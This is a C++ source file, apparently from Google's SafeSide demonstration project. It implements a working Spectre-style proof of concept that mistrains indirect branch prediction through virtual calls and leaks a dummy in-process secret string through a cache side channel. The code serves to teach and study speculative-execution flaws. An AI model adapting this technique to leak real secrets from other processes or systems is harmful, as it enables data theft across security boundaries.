blob: f3b9d595d1f52f75deaa9a3dabde41b3f861d42f [file] [log] [blame]
/*
* Copyright 2019 Google LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <array>
#include <cstring>
#include <iostream>
#include "cache_sidechannel.h"
#include "instr.h"
#include "utils.h"
// Objective: given some control over accesses to the *non-secret* string
// "xxxxxxxxxxxxxx", construct a program that obtains "It's a s3kr3t!!!" without
// ever accessing it in the C++ execution model, using speculative execution and
// side channel attacks. The public data is intentionally just xxx, so that
// there are no collisions with the secret and we don't have to use variable
// offset.
const char *public_data = "xxxxxxxxxxxxxxxx";
const char *private_data = "It's a s3kr3t!!!";
constexpr size_t kAccessorArrayLength = 1024;
constexpr size_t kCacheLineSize = 64;
// DataAccessor provides an interface to access bytes from either the public or
// the private storage.
class DataAccessor {
public:
virtual char GetDataByte(size_t index, bool read_from_private_data) = 0;
virtual ~DataAccessor() {};
protected:
// Helper method that picks the pointer that you want to read from.
const char *GetDataPtr(bool read_from_private_data) const {
// This is the same as:
// return read_from_private_data ? private_data : public_data;
// It only avoids branching in case it is compiled without optimizations.
return public_data + (
private_data - public_data) * static_cast<int>(read_from_private_data);
}
};
// Behaves exactly by the specification, if you ask for public data, it gives
// you public data, if you ask for private data, you get private data.
class RealDataAccessor: public DataAccessor {
public:
char GetDataByte(size_t index, bool read_from_private_data) override {
return GetDataPtr(read_from_private_data)[index];
}
};
// It gives you only public data, no matter what you ask for. Useful for cases
// where you never want to leak the private data.
class CensoringDataAccessor: public DataAccessor {
public:
char GetDataByte(size_t index, bool /* read_from_private_data */) override {
return public_data[index];
}
};
// Leaks the byte that is physically located at private_data[offset], without
// ever loading it. In the abstract machine, and in the code executed by the
// CPU, this function does not load any memory except for what is in the bounds
// of `public_data`, and local auxiliary data.
//
// Instead, the leak is performed by indirect branch prediction during
// speculative execution, mistraining the predictor to jump to the address of
// GetDataByte implemented by RealDataAccessor that is unsafe for
// CensoringDataAccessor.
static char LeakByte(size_t offset) {
CacheSideChannel sidechannel;
const std::array<BigByte, 256> &oracle = sidechannel.GetOracle();
auto array_of_pointers =
std::unique_ptr<std::array<DataAccessor *, kAccessorArrayLength>>(
new std::array<DataAccessor *, kAccessorArrayLength>());
// RealDataAccessor, leaks both private and public data according to the
// parameter it is provided with.
auto real_data_accessor = std::unique_ptr<DataAccessor>(
new RealDataAccessor);
// CensoringDataAccessor, architecturally leaks only public data and ignores
// the read_from_private_data parameter.
auto censoring_data_accessor = std::unique_ptr<DataAccessor>(
new CensoringDataAccessor);
for (int run = 0;; ++run) {
sidechannel.FlushOracle();
// Before each run all pointers are reset to point to the
// real_data_accessor.
for (auto &pointer : *array_of_pointers) {
pointer = real_data_accessor.get();
}
// Only one of the pointers is then changed so that it points to the
// CensoringDataAccessor. Its index is local_pointer_index.
size_t local_pointer_index = run % kAccessorArrayLength;
(*array_of_pointers)[local_pointer_index] = censoring_data_accessor.get();
for (size_t i = 0; i <= local_pointer_index; ++i) {
DataAccessor *accessor = (*array_of_pointers)[i];
// On the local_pointer_index we have the censoring data accessor for
// which the read_private_data can be true, because that accessor will
// ignore that argument and use the public data anyway.
bool read_private_data = (i == local_pointer_index);
// When i == local_pointer_index, we get size of the
// CensoringDataAccessor, otherwise of the RealDataAccessor.
size_t object_size_in_bytes = sizeof(
RealDataAccessor) + (sizeof(CensoringDataAccessor) - sizeof(
RealDataAccessor)) * (i == local_pointer_index);
// We make sure to flush whole accessor object in case it is
// hypothetically on multiple cache-lines.
const char *accessor_bytes = reinterpret_cast<const char*>(accessor);
FlushFromCache(accessor_bytes, accessor_bytes + object_size_in_bytes);
// Speculative fetch at the offset. Architecturally it fetches
// always from the public_data, though speculatively it fetches the
// private_data when i is at the local_pointer_index.
ForceRead(oracle.data() + static_cast<size_t>(
accessor->GetDataByte(offset, read_private_data)));
}
std::pair<bool, char> result =
sidechannel.RecomputeScores(public_data[offset]);
if (result.first) {
return result.second;
}
if (run > 100000) {
std::cerr << "Does not converge " << result.second << std::endl;
exit(EXIT_FAILURE);
}
}
}
int main() {
std::cout << "Leaking the string: ";
std::cout.flush();
for (size_t i = 0; i < strlen(public_data); ++i) {
// On at least some machines, this will print the i'th byte from
// private_data, despite the only actually-executed memory accesses being
// to valid bytes in public_data.
std::cout << LeakByte(i);
std::cout.flush();
}
std::cout << "\nDone!\n";
}